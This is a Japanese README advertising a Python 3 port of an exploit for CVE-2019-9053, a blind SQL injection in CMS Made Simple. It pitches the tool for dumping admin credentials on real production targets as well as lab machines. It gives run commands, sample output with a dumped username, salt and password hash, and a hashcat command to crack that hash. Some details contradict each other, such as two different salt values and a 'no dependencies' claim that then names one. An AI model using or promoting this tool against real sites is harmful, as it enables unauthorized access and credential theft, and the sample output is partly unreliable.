CMS Made Simple <= 2.2.9 SQLインジェクション (CVE-2019-9053) - Python3 Exploit

元のExploit-DB #46635（作者: Daniele Scanu）のPure Python3移植版。脆弱なCMS Made Simpleインストールから管理者認証情報をダンプするための時間ベースのブラインドSQLi。

🎯 特徴:

✅ 外部依存関係なし（requestsのみ）

✅ Python 3.6+ ネイティブ（f-strings、walrus演算子）

✅ 美しい色付き出力（ANSI）

✅ 安定＆高速（平均的な接続で約3〜5分でダンプ）

✅ 本番ターゲット向けタイムアウト/エラーハンドリング

✅ Hashcat対応出力（salt + MD5形式）

🚀 使用方法:

# Clone & run
git clone https://github.com/tim-karov/cmsms-sqli
cd cmsms-sqli
python3 cmsms-sqli.py url

# Example output (HTB Writeup):
[+] CVE-2019-9053 CMS Made Simple SQLi (Python3)
[+] Target: http://machine_ip/writeup/moduleinterface.php?mact=News,m1_,default,0
[+] Dumping SALT...
5a599ef579066807
[+] Salt: L7b8v5p3
[+] Dumping USERNAME...
jkr
[+] Username: jkr
[+] Dumping PASSWORD MD5...
62def4866937f08cc13bab43bb14e6f7
[+] MD5 Hash: 62def4866937f08cc13bab43bb14e6f7
[+] Crack: hashcat -a 0 -m 20 '62def4866937f08cc13bab43bb14e6f7:5a599ef579066807' /usr/share/wordlists/rockyou.txt

🔧 カスタマイズ:

TIME = 3      # Sleep time (slower = more stable)
timeout = 20  # Request timeout
chars = '...' # Custom charset

📝 クレジット:

原作者: Daniele Scanu

Exploit-DB: #46635

Python3移植＆改良: Tim Karov

📄 ライセンス:

MITライセンス - LICENSEを参照

⭐ 役に立ったらStarをお願いします！HTB/TryHackMeのラボや実際のペネトレーションテストで使用されています。

cmsms-sqli